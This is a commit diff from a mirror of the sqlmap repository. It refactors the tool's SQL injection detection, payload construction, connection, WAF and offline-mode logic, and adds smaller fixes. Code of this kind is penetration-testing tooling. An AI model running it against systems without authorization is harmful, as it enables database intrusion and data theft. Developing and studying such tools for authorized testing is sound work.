mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-07-29 17:39:56 +03:00
commit
4224f1fd91
|
@ -45,6 +45,10 @@ def _win_wav_play(filename):
|
|||
winsound.PlaySound(filename, winsound.SND_FILENAME)
|
||||
|
||||
def _linux_wav_play(filename):
|
||||
for _ in ("aplay", "paplay", "play"):
|
||||
if not os.system("%s '%s' 2>/dev/null" % (_, filename)):
|
||||
return
|
||||
|
||||
import ctypes
|
||||
|
||||
PA_STREAM_PLAYBACK = 1
|
||||
|
|
|
@ -15,7 +15,6 @@ from subprocess import Popen as execute
|
|||
|
||||
from extra.beep.beep import beep
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import arrayizeValue
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import extractRegexResult
|
||||
from lib.core.common import extractTextTagContent
|
||||
|
@ -46,7 +45,6 @@ from lib.core.datatype import AttribDict
|
|||
from lib.core.datatype import InjectionDict
|
||||
from lib.core.decorators import cachedmethod
|
||||
from lib.core.dicts import FROM_DUMMY_TABLE
|
||||
from lib.core.enums import CUSTOM_LOGGING
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import HEURISTIC_TEST
|
||||
from lib.core.enums import HTTP_HEADER
|
||||
|
@ -66,7 +64,6 @@ from lib.core.settings import HEURISTIC_CHECK_ALPHABET
|
|||
from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH
|
||||
from lib.core.settings import SUPPORTED_DBMS
|
||||
from lib.core.settings import URI_HTTP_HEADER
|
||||
from lib.core.settings import LOWER_RATIO_BOUND
|
||||
from lib.core.settings import UPPER_RATIO_BOUND
|
||||
from lib.core.settings import IDS_WAF_CHECK_PAYLOAD
|
||||
from lib.core.settings import IDS_WAF_CHECK_RATIO
|
||||
|
@ -90,6 +87,7 @@ def checkSqlInjection(place, parameter, value):
|
|||
|
||||
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
|
||||
tests = getSortedInjectionTests()
|
||||
seenPayload = set()
|
||||
|
||||
while tests:
|
||||
test = tests.pop(0)
|
||||
|
@ -386,9 +384,17 @@ def checkSqlInjection(place, parameter, value):
|
|||
# Forge request payload by prepending with boundary's
|
||||
# prefix and appending the boundary's suffix to the
|
||||
# test's ' <payload><comment> ' string
|
||||
boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
|
||||
boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
|
||||
reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
|
||||
if fstPayload:
|
||||
boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
|
||||
boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
|
||||
reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
|
||||
if reqPayload:
|
||||
if reqPayload in seenPayload:
|
||||
continue
|
||||
else:
|
||||
seenPayload.add(reqPayload)
|
||||
else:
|
||||
reqPayload = None
|
||||
|
||||
# Perform the test's request and check whether or not the
|
||||
# payload was successful
|
||||
|
@ -423,7 +429,7 @@ def checkSqlInjection(place, parameter, value):
|
|||
trueResult = Request.queryPage(reqPayload, place, raise404=False)
|
||||
truePage = threadData.lastComparisonPage or ""
|
||||
|
||||
if trueResult:
|
||||
if trueResult and not(truePage == falsePage and not kb.nullConnection):
|
||||
falseResult = Request.queryPage(genCmpPayload(), place, raise404=False)
|
||||
|
||||
# Perform the test's False request
|
||||
|
@ -516,6 +522,17 @@ def checkSqlInjection(place, parameter, value):
|
|||
infoMsg += "there is at least one other (potential) "
|
||||
infoMsg += "technique found"
|
||||
singleTimeLogMessage(infoMsg)
|
||||
elif not injection.data:
|
||||
_ = test.request.columns.split('-')[-1]
|
||||
if _.isdigit() and int(_) > 10:
|
||||
if kb.futileUnion is None:
|
||||
msg = "it is not recommended to perform "
|
||||
msg += "extended UNION tests if there is not "
|
||||
msg += "at least one other (potential) "
|
||||
msg += "technique found. Do you want to skip? [Y/n] "
|
||||
kb.futileUnion = readInput(msg, default="Y").strip().upper() == 'N'
|
||||
if kb.futileUnion is False:
|
||||
continue
|
||||
|
||||
# Test for UNION query SQL injection
|
||||
reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix)
|
||||
|
@ -532,7 +549,7 @@ def checkSqlInjection(place, parameter, value):
|
|||
|
||||
kb.previousMethod = method
|
||||
|
||||
if conf.dummy:
|
||||
if conf.dummy or conf.offline:
|
||||
injectable = False
|
||||
|
||||
# If the injection test was successful feed the injection
|
||||
|
@ -706,7 +723,8 @@ def checkFalsePositives(injection):
|
|||
|
||||
retVal = injection
|
||||
|
||||
if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data):
|
||||
if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or\
|
||||
(len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title):
|
||||
pushValue(kb.injection)
|
||||
|
||||
infoMsg = "checking if the injection point on %s " % injection.place
|
||||
|
@ -994,11 +1012,15 @@ def checkStability():
|
|||
like for instance string matching (--string).
|
||||
"""
|
||||
|
||||
infoMsg = "testing if the target URL is stable. This can take a couple of seconds"
|
||||
infoMsg = "testing if the target URL is stable"
|
||||
logger.info(infoMsg)
|
||||
|
||||
firstPage = kb.originalPage # set inside checkConnection()
|
||||
time.sleep(1)
|
||||
|
||||
delay = 1 - (time.time() - (kb.originalPageTime or 0))
|
||||
delay = max(0, min(1, delay))
|
||||
time.sleep(delay)
|
||||
|
||||
secondPage, _ = Request.queryPage(content=True, raise404=False)
|
||||
|
||||
if kb.redirectChoice:
|
||||
|
@ -1117,7 +1139,7 @@ def checkWaf():
|
|||
Reference: http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse
|
||||
"""
|
||||
|
||||
if any((conf.string, conf.notString, conf.regexp)):
|
||||
if any((conf.string, conf.notString, conf.regexp, conf.dummy, conf.offline)):
|
||||
return None
|
||||
|
||||
dbmMsg = "heuristically checking if the target is protected by "
|
||||
|
@ -1227,10 +1249,10 @@ def checkNullConnection():
|
|||
infoMsg = "testing NULL connection to the target URL"
|
||||
logger.info(infoMsg)
|
||||
|
||||
pushValue(kb.pageCompress)
|
||||
kb.pageCompress = False
|
||||
|
||||
try:
|
||||
pushValue(kb.pageCompress)
|
||||
kb.pageCompress = False
|
||||
|
||||
page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD)
|
||||
|
||||
if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
|
||||
|
@ -1260,12 +1282,13 @@ def checkNullConnection():
|
|||
errMsg = getUnicode(errMsg)
|
||||
raise SqlmapConnectionException(errMsg)
|
||||
|
||||
kb.pageCompress = popValue()
|
||||
finally:
|
||||
kb.pageCompress = popValue()
|
||||
|
||||
return kb.nullConnection is not None
|
||||
|
||||
def checkConnection(suppressOutput=False):
|
||||
if not any((conf.proxy, conf.tor, conf.dummy)):
|
||||
if not any((conf.proxy, conf.tor, conf.dummy, conf.offline)):
|
||||
try:
|
||||
debugMsg = "resolving hostname '%s'" % conf.hostname
|
||||
logger.debug(debugMsg)
|
||||
|
@ -1275,14 +1298,15 @@ def checkConnection(suppressOutput=False):
|
|||
raise SqlmapConnectionException(errMsg)
|
||||
except socket.error, ex:
|
||||
errMsg = "problem occurred while "
|
||||
errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getUnicode(ex))
|
||||
errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, ex.message)
|
||||
raise SqlmapConnectionException(errMsg)
|
||||
|
||||
if not suppressOutput and not conf.dummy:
|
||||
if not suppressOutput and not conf.dummy and not conf.offline:
|
||||
infoMsg = "testing connection to the target URL"
|
||||
logger.info(infoMsg)
|
||||
|
||||
try:
|
||||
kb.originalPageTime = time.time()
|
||||
page, _ = Request.queryPage(content=True, noteResponseTime=False)
|
||||
kb.originalPage = kb.pageTemplate = page
|
||||
|
||||
|
|
|
@ -155,8 +155,11 @@ def _formatInjection(inj):
|
|||
return data
|
||||
|
||||
def _showInjections():
|
||||
header = "sqlmap identified the following injection points with "
|
||||
header += "a total of %d HTTP(s) requests" % kb.testQueryCount
|
||||
if kb.testQueryCount > 0:
|
||||
header = "sqlmap identified the following injection point(s) with "
|
||||
header += "a total of %d HTTP(s) requests" % kb.testQueryCount
|
||||
else:
|
||||
header = "sqlmap resumed the following injection point(s) from stored session"
|
||||
|
||||
if hasattr(conf, "api"):
|
||||
conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES)
|
||||
|
@ -427,6 +430,9 @@ def start():
|
|||
if skip:
|
||||
continue
|
||||
|
||||
if kb.testOnlyCustom and place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
|
||||
continue
|
||||
|
||||
if place not in conf.paramDict:
|
||||
continue
|
||||
|
||||
|
@ -495,47 +501,49 @@ def start():
|
|||
kb.testedParams.add(paramKey)
|
||||
|
||||
if testSqlInj:
|
||||
if place == PLACE.COOKIE:
|
||||
pushValue(kb.mergeCookies)
|
||||
kb.mergeCookies = False
|
||||
try:
|
||||
if place == PLACE.COOKIE:
|
||||
pushValue(kb.mergeCookies)
|
||||
kb.mergeCookies = False
|
||||
|
||||
check = heuristicCheckSqlInjection(place, parameter)
|
||||
check = heuristicCheckSqlInjection(place, parameter)
|
||||
|
||||
if check != HEURISTIC_TEST.POSITIVE:
|
||||
if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED):
|
||||
infoMsg = "skipping %s parameter '%s'" % (paramType, parameter)
|
||||
logger.info(infoMsg)
|
||||
continue
|
||||
if check != HEURISTIC_TEST.POSITIVE:
|
||||
if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED):
|
||||
infoMsg = "skipping %s parameter '%s'" % (paramType, parameter)
|
||||
logger.info(infoMsg)
|
||||
continue
|
||||
|
||||
infoMsg = "testing for SQL injection on %s " % paramType
|
||||
infoMsg += "parameter '%s'" % parameter
|
||||
logger.info(infoMsg)
|
||||
infoMsg = "testing for SQL injection on %s " % paramType
|
||||
infoMsg += "parameter '%s'" % parameter
|
||||
logger.info(infoMsg)
|
||||
|
||||
injection = checkSqlInjection(place, parameter, value)
|
||||
proceed = not kb.endDetection
|
||||
injection = checkSqlInjection(place, parameter, value)
|
||||
proceed = not kb.endDetection
|
||||
|
||||
if injection is not None and injection.place is not None:
|
||||
kb.injections.append(injection)
|
||||
if injection is not None and injection.place is not None:
|
||||
kb.injections.append(injection)
|
||||
|
||||
# In case when user wants to end detection phase (Ctrl+C)
|
||||
if not proceed:
|
||||
break
|
||||
# In case when user wants to end detection phase (Ctrl+C)
|
||||
if not proceed:
|
||||
break
|
||||
|
||||
msg = "%s parameter '%s' " % (injection.place, injection.parameter)
|
||||
msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "
|
||||
test = readInput(msg, default="N")
|
||||
msg = "%s parameter '%s' " % (injection.place, injection.parameter)
|
||||
msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "
|
||||
test = readInput(msg, default="N")
|
||||
|
||||
if test[0] not in ("y", "Y"):
|
||||
proceed = False
|
||||
paramKey = (conf.hostname, conf.path, None, None)
|
||||
kb.testedParams.add(paramKey)
|
||||
else:
|
||||
warnMsg = "%s parameter '%s' is not " % (paramType, parameter)
|
||||
warnMsg += "injectable"
|
||||
logger.warn(warnMsg)
|
||||
if test[0] not in ("y", "Y"):
|
||||
proceed = False
|
||||
paramKey = (conf.hostname, conf.path, None, None)
|
||||
kb.testedParams.add(paramKey)
|
||||
else:
|
||||
warnMsg = "%s parameter '%s' is not " % (paramType, parameter)
|
||||
warnMsg += "injectable"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if place == PLACE.COOKIE:
|
||||
kb.mergeCookies = popValue()
|
||||
finally:
|
||||
if place == PLACE.COOKIE:
|
||||
kb.mergeCookies = popValue()
|
||||
|
||||
if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None):
|
||||
if kb.vainRun and not conf.multipleTargets:
|
||||
|
|
|
@ -79,7 +79,9 @@ class Agent(object):
|
|||
|
||||
retVal = ""
|
||||
|
||||
if where is None and isTechniqueAvailable(kb.technique):
|
||||
if kb.forceWhere:
|
||||
where = kb.forceWhere
|
||||
elif where is None and isTechniqueAvailable(kb.technique):
|
||||
where = kb.injection.data[kb.technique].where
|
||||
|
||||
if kb.injection.place is not None:
|
||||
|
@ -174,7 +176,10 @@ class Agent(object):
|
|||
while True:
|
||||
_ = re.search(r"\\g<([^>]+)>", repl)
|
||||
if _:
|
||||
repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1)))
|
||||
try:
|
||||
repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1)))
|
||||
except IndexError:
|
||||
break
|
||||
else:
|
||||
break
|
||||
retVal = string[:match.start()] + repl + string[match.end():]
|
||||
|
@ -185,6 +190,7 @@ class Agent(object):
|
|||
retVal = _(regex, "%s=%s" % (parameter, self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString)
|
||||
else:
|
||||
retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), "%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString)
|
||||
|
||||
if retVal == paramString and urlencode(parameter) != parameter:
|
||||
retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString)
|
||||
|
||||
|
@ -213,6 +219,9 @@ class Agent(object):
|
|||
if conf.direct:
|
||||
return self.payloadDirect(expression)
|
||||
|
||||
if expression is None:
|
||||
return None
|
||||
|
||||
expression = self.cleanupPayload(expression)
|
||||
expression = unescaper.escape(expression)
|
||||
query = None
|
||||
|
@ -241,8 +250,7 @@ class Agent(object):
|
|||
if not (expression and expression[0] == ';') and not (query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')) and not (query and query[-1] == '('):
|
||||
query += " "
|
||||
|
||||
if query:
|
||||
query = "%s%s" % (query.replace('\\', BOUNDARY_BACKSLASH_MARKER), expression)
|
||||
query = "%s%s" % ((query or "").replace('\\', BOUNDARY_BACKSLASH_MARKER), expression)
|
||||
|
||||
return query
|
||||
|
||||
|
@ -255,6 +263,9 @@ class Agent(object):
|
|||
if conf.direct:
|
||||
return self.payloadDirect(expression)
|
||||
|
||||
if expression is None:
|
||||
return None
|
||||
|
||||
expression = self.cleanupPayload(expression)
|
||||
|
||||
# Take default values if None
|
||||
|
|
|
@ -43,6 +43,7 @@ from xml.dom import minidom
|
|||
from xml.sax import parse
|
||||
from xml.sax import SAXParseException
|
||||
|
||||
from extra.beep.beep import beep
|
||||
from extra.cloak.cloak import decloak
|
||||
from extra.safe2bin.safe2bin import safecharencode
|
||||
from lib.core.bigarray import BigArray
|
||||
|
@ -97,7 +98,6 @@ from lib.core.settings import DBMS_DIRECTORY_DICT
|
|||
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
|
||||
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
||||
from lib.core.settings import DEFAULT_MSSQL_SCHEMA
|
||||
from lib.core.settings import DESCRIPTION
|
||||
from lib.core.settings import DUMMY_USER_INJECTION
|
||||
from lib.core.settings import DYNAMICITY_MARK_LENGTH
|
||||
from lib.core.settings import ERROR_PARSING_REGEXES
|
||||
|
@ -134,9 +134,7 @@ from lib.core.settings import REFLECTED_MAX_REGEX_PARTS
|
|||
from lib.core.settings import REFLECTED_REPLACEMENT_REGEX
|
||||
from lib.core.settings import REFLECTED_VALUE_MARKER
|
||||
from lib.core.settings import REFLECTIVE_MISS_THRESHOLD
|
||||
from lib.core.settings import REVISION
|
||||
from lib.core.settings import SENSITIVE_DATA_REGEX
|
||||
from lib.core.settings import SITE
|
||||
from lib.core.settings import SUPPORTED_DBMS
|
||||
from lib.core.settings import TEXT_TAG_REGEX
|
||||
from lib.core.settings import TIME_STDEV_COEFF
|
||||
|
@ -146,7 +144,6 @@ from lib.core.settings import URI_QUESTION_MARKER
|
|||
from lib.core.settings import URLENCODE_CHAR_LIMIT
|
||||
from lib.core.settings import URLENCODE_FAILSAFE_CHARS
|
||||
from lib.core.settings import USER_AGENT_ALIASES
|
||||
from lib.core.settings import VERSION
|
||||
from lib.core.settings import VERSION_STRING
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
from lib.utils.sqlalchemy import _sqlalchemy
|
||||
|
@ -864,6 +861,9 @@ def dataToDumpFile(dumpFile, data):
|
|||
if "No space left" in getUnicode(ex):
|
||||
errMsg = "no space left on output device"
|
||||
logger.error(errMsg)
|
||||
elif "Permission denied" in getUnicode(ex):
|
||||
errMsg = "permission denied when flushing dump data"
|
||||
logger.error(errMsg)
|
||||
else:
|
||||
raise
|
||||
|
||||
|
@ -875,11 +875,11 @@ def dataToOutFile(filename, data):
|
|||
retVal = os.path.join(conf.filePath, filePathToSafeString(filename))
|
||||
|
||||
try:
|
||||
with openFile(retVal, "wb") as f:
|
||||
with open(retVal, "w+b") as f:
|
||||
f.write(data)
|
||||
except IOError, ex:
|
||||
errMsg = "something went wrong while trying to write "
|
||||
errMsg += "to the output file ('%s')" % ex
|
||||
errMsg += "to the output file ('%s')" % ex.message
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
return retVal
|
||||
|
@ -935,6 +935,10 @@ def readInput(message, default=None, checkBatch=True):
|
|||
retVal = default
|
||||
else:
|
||||
logging._acquireLock()
|
||||
|
||||
if conf.get("beep"):
|
||||
beep()
|
||||
|
||||
dataToStdout("\r%s" % message, forceOutput=True, bold=True)
|
||||
kb.prependFlag = False
|
||||
|
||||
|
@ -1027,7 +1031,7 @@ def checkFile(filename):
|
|||
|
||||
if valid:
|
||||
try:
|
||||
with open(filename, "rb") as f:
|
||||
with open(filename, "rb"):
|
||||
pass
|
||||
except:
|
||||
valid = False
|
||||
|
@ -1101,7 +1105,7 @@ def setPaths():
|
|||
paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner")
|
||||
paths.SQLMAP_XML_PAYLOADS_PATH = os.path.join(paths.SQLMAP_XML_PATH, "payloads")
|
||||
|
||||
_ = os.path.join(os.path.expanduser("~"), ".sqlmap")
|
||||
_ = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".sqlmap")
|
||||
paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(_, "output")), encoding=sys.getfilesystemencoding())
|
||||
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
|
||||
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
|
||||
|
@ -1111,7 +1115,6 @@ def setPaths():
|
|||
paths.SQL_SHELL_HISTORY = os.path.join(_, "sql.hst")
|
||||
paths.SQLMAP_SHELL_HISTORY = os.path.join(_, "sqlmap.hst")
|
||||
paths.GITHUB_HISTORY = os.path.join(_, "github.hst")
|
||||
paths.SQLMAP_CONFIG = os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap-%s.conf" % randomStr())
|
||||
paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt")
|
||||
paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt")
|
||||
paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt')
|
||||
|
@ -1583,9 +1586,10 @@ def safeExpandUser(filepath):
|
|||
|
||||
try:
|
||||
retVal = os.path.expanduser(filepath)
|
||||
except UnicodeDecodeError:
|
||||
except UnicodeError:
|
||||
_ = locale.getdefaultlocale()
|
||||
retVal = getUnicode(os.path.expanduser(filepath.encode(_[1] if _ and len(_) > 1 else UNICODE_ENCODING)))
|
||||
encoding = _[1] if _ and len(_) > 1 else UNICODE_ENCODING
|
||||
retVal = getUnicode(os.path.expanduser(filepath.encode(encoding)), encoding=encoding)
|
||||
|
||||
return retVal
|
||||
|
||||
|
@ -2115,7 +2119,7 @@ def getUnicode(value, encoding=None, noneToNull=False):
|
|||
elif isinstance(value, basestring):
|
||||
while True:
|
||||
try:
|
||||
return unicode(value, encoding or kb.get("pageEncoding") or UNICODE_ENCODING)
|
||||
return unicode(value, encoding or (kb.get("pageEncoding") if kb.get("originalPage") else None) or UNICODE_ENCODING)
|
||||
except UnicodeDecodeError, ex:
|
||||
try:
|
||||
return unicode(value, UNICODE_ENCODING)
|
||||
|
@ -2280,7 +2284,8 @@ def findMultipartPostBoundary(post):
|
|||
candidates = []
|
||||
|
||||
for match in re.finditer(r"(?m)^--(.+?)(--)?$", post or ""):
|
||||
_ = match.group(1)
|
||||
_ = match.group(1).strip().strip('-')
|
||||
|
||||
if _ in done:
|
||||
continue
|
||||
else:
|
||||
|
@ -2481,7 +2486,11 @@ def extractTextTagContent(page):
|
|||
[u'Title', u'foobar']
|
||||
"""
|
||||
|
||||
page = re.sub(r"(?si)[^\s>]*%s[^<]*" % REFLECTED_VALUE_MARKER, "", page or "")
|
||||
page = page or ""
|
||||
|
||||
if REFLECTED_VALUE_MARKER in page:
|
||||
page = re.sub(r"(?si)[^\s>]*%s[^\s<]*" % REFLECTED_VALUE_MARKER, "", page)
|
||||
|
||||
return filter(None, (_.group('result').strip() for _ in re.finditer(TEXT_TAG_REGEX, page)))
|
||||
|
||||
def trimAlphaNum(value):
|
||||
|
@ -2575,7 +2584,7 @@ def findDynamicContent(firstPage, secondPage):
|
|||
prefix = trimAlphaNum(prefix)
|
||||
suffix = trimAlphaNum(suffix)
|
||||
|
||||
kb.dynamicMarkings.append((re.escape(prefix[-DYNAMICITY_MARK_LENGTH / 2:]) if prefix else None, re.escape(suffix[:DYNAMICITY_MARK_LENGTH / 2]) if suffix else None))
|
||||
kb.dynamicMarkings.append((prefix[-DYNAMICITY_MARK_LENGTH / 2:] if prefix else None, suffix[:DYNAMICITY_MARK_LENGTH / 2] if suffix else None))
|
||||
|
||||
if len(kb.dynamicMarkings) > 0:
|
||||
infoMsg = "dynamic content marked for removal (%d region%s)" % (len(kb.dynamicMarkings), 's' if len(kb.dynamicMarkings) > 1 else '')
|
||||
|
@ -2594,11 +2603,11 @@ def removeDynamicContent(page):
|
|||
if prefix is None and suffix is None:
|
||||
continue
|
||||
elif prefix is None:
|
||||
page = re.sub(r'(?s)^.+%s' % re.escape(suffix), suffix, page)
|
||||
page = re.sub(r'(?s)^.+%s' % re.escape(suffix), suffix.replace('\\', r'\\'), page)
|
||||
elif suffix is None:
|
||||
page = re.sub(r'(?s)%s.+$' % re.escape(prefix), prefix, page)
|
||||
page = re.sub(r'(?s)%s.+$' % re.escape(prefix), prefix.replace('\\', r'\\'), page)
|
||||
else:
|
||||
page = re.sub(r'(?s)%s.+%s' % (re.escape(prefix), re.escape(suffix)), '%s%s' % (prefix, suffix), page)
|
||||
page = re.sub(r'(?s)%s.+%s' % (re.escape(prefix), re.escape(suffix)), '%s%s' % (prefix.replace('\\', r'\\'), suffix.replace('\\', r'\\')), page)
|
||||
|
||||
return page
|
||||
|
||||
|
@ -2936,7 +2945,7 @@ def unhandledExceptionMessage():
|
|||
errMsg += "sqlmap version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:]
|
||||
errMsg += "Python version: %s\n" % PYVERSION
|
||||
errMsg += "Operating system: %s\n" % PLATFORM
|
||||
errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap.py\b", "sqlmap.py", " ".join(sys.argv))
|
||||
errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding))
|
||||
errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None))
|
||||
errMsg += "Back-end DBMS: %s" % ("%s (fingerprinted)" % Backend.getDbms() if Backend.getDbms() is not None else "%s (identified)" % Backend.getIdentifiedDbms())
|
||||
|
||||
|
@ -2978,7 +2987,7 @@ def createGithubIssue(errMsg, excMsg):
|
|||
|
||||
|
||||
data = {"title": "Unhandled exception (#%s)" % key, "body": "```%s\n```\n```\n%s```" % (errMsg, excMsg)}
|
||||
req = urllib2.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=json.dumps(data), headers={"Authorization": "token %s" % GITHUB_REPORT_OAUTH_TOKEN})
|
||||
req = urllib2.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=json.dumps(data), headers={"Authorization": "token %s" % GITHUB_REPORT_OAUTH_TOKEN.decode("base64")})
|
||||
|
||||
try:
|
||||
f = urllib2.urlopen(req)
|
||||
|
@ -3011,7 +3020,7 @@ def maskSensitiveData(msg):
|
|||
|
||||
retVal = getUnicode(msg)
|
||||
|
||||
for item in filter(None, map(lambda x: conf.get(x), ("hostname", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy"))):
|
||||
for item in filter(None, map(lambda x: conf.get(x), ("hostname", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "rFile", "wFile", "dFile"))):
|
||||
regex = SENSITIVE_DATA_REGEX % re.sub("(\W)", r"\\\1", getUnicode(item))
|
||||
while extractRegexResult(regex, retVal):
|
||||
value = extractRegexResult(regex, retVal)
|
||||
|
@ -3022,7 +3031,6 @@ def maskSensitiveData(msg):
|
|||
if match:
|
||||
retVal = retVal.replace(match.group(3), '*' * len(match.group(3)))
|
||||
|
||||
|
||||
if getpass.getuser():
|
||||
retVal = re.sub(r"(?i)\b%s\b" % re.escape(getpass.getuser()), "*" * len(getpass.getuser()), retVal)
|
||||
|
||||
|
@ -3285,7 +3293,7 @@ def expandMnemonics(mnemonics, parser, args):
|
|||
pointer = pointer.next[char]
|
||||
pointer.current.append(option)
|
||||
|
||||
for mnemonic in mnemonics.split(','):
|
||||
for mnemonic in (mnemonics or "").split(','):
|
||||
found = None
|
||||
name = mnemonic.split('=')[0].replace("-", "").strip()
|
||||
value = mnemonic.split('=')[1] if len(mnemonic.split('=')) > 1 else None
|
||||
|
@ -3465,8 +3473,13 @@ def asciifyUrl(url, forceQuote=False):
|
|||
netloc = ':' + password + netloc
|
||||
netloc = username + netloc
|
||||
|
||||
if parts.port:
|
||||
netloc += ':' + str(parts.port)
|
||||
try:
|
||||
port = parts.port
|
||||
except:
|
||||
port = None
|
||||
|
||||
if port:
|
||||
netloc += ':' + str(port)
|
||||
|
||||
return urlparse.urlunsplit([parts.scheme, netloc, path, query, parts.fragment])
|
||||
|
||||
|
@ -3657,7 +3670,7 @@ def evaluateCode(code, variables=None):
|
|||
except KeyboardInterrupt:
|
||||
raise
|
||||
except Exception, ex:
|
||||
errMsg = "an error occurred while evaluating provided code ('%s'). " % ex
|
||||
errMsg = "an error occurred while evaluating provided code ('%s') " % ex.message
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
def serializeObject(object_):
|
||||
|
@ -3713,7 +3726,7 @@ def applyFunctionRecursively(value, function):
|
|||
|
||||
return retVal
|
||||
|
||||
def decodeHexValue(value):
|
||||
def decodeHexValue(value, raw=False):
|
||||
"""
|
||||
Returns value decoded from DBMS specific hexadecimal representation
|
||||
|
||||
|
@ -3728,7 +3741,7 @@ def decodeHexValue(value):
|
|||
if value and isinstance(value, basestring) and len(value) % 2 == 0:
|
||||
retVal = hexdecode(retVal)
|
||||
|
||||
if not kb.binaryField:
|
||||
if not kb.binaryField and not raw:
|
||||
if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"):
|
||||
try:
|
||||
retVal = retVal.decode("utf-16-le")
|
||||
|
@ -3826,7 +3839,7 @@ def resetCookieJar(cookieJar):
|
|||
with open(filename, "w+b") as f:
|
||||
f.write("%s\n" % NETSCAPE_FORMAT_HEADER_COOKIES)
|
||||
for line in lines:
|
||||
_ = line.split()
|
||||
_ = line.split("\t")
|
||||
if len(_) == 7:
|
||||
_[4] = FORCE_COOKIE_EXPIRATION_TIME
|
||||
f.write("\n%s" % "\t".join(_))
|
||||
|
|
|
@ -105,13 +105,22 @@ PGSQL_PRIVS = {
|
|||
3: "catupd",
|
||||
}
|
||||
|
||||
# Reference(s): http://stackoverflow.com/a/17672504
|
||||
# http://docwiki.embarcadero.com/InterBase/XE7/en/RDB$USER_PRIVILEGES
|
||||
|
||||
FIREBIRD_PRIVS = {
|
||||
"S": "SELECT",
|
||||
"I": "INSERT",
|
||||
"U": "UPDATE",
|
||||
"D": "DELETE",
|
||||
"R": "REFERENCES",
|
||||
"R": "REFERENCE",
|
||||
"E": "EXECUTE",
|
||||
"X": "EXECUTE",
|
||||
"A": "ALL",
|
||||
"M": "MEMBER",
|
||||
"T": "DECRYPT",
|
||||
"E": "ENCRYPT",
|
||||
"B": "SUBSCRIBE",
|
||||
}
|
||||
|
||||
DB2_PRIVS = {
|
||||
|
|
|
@ -6,7 +6,6 @@ See the file 'doc/COPYING' for copying permission
|
|||
"""
|
||||
|
||||
import cgi
|
||||
import codecs
|
||||
import hashlib
|
||||
import os
|
||||
import re
|
||||
|
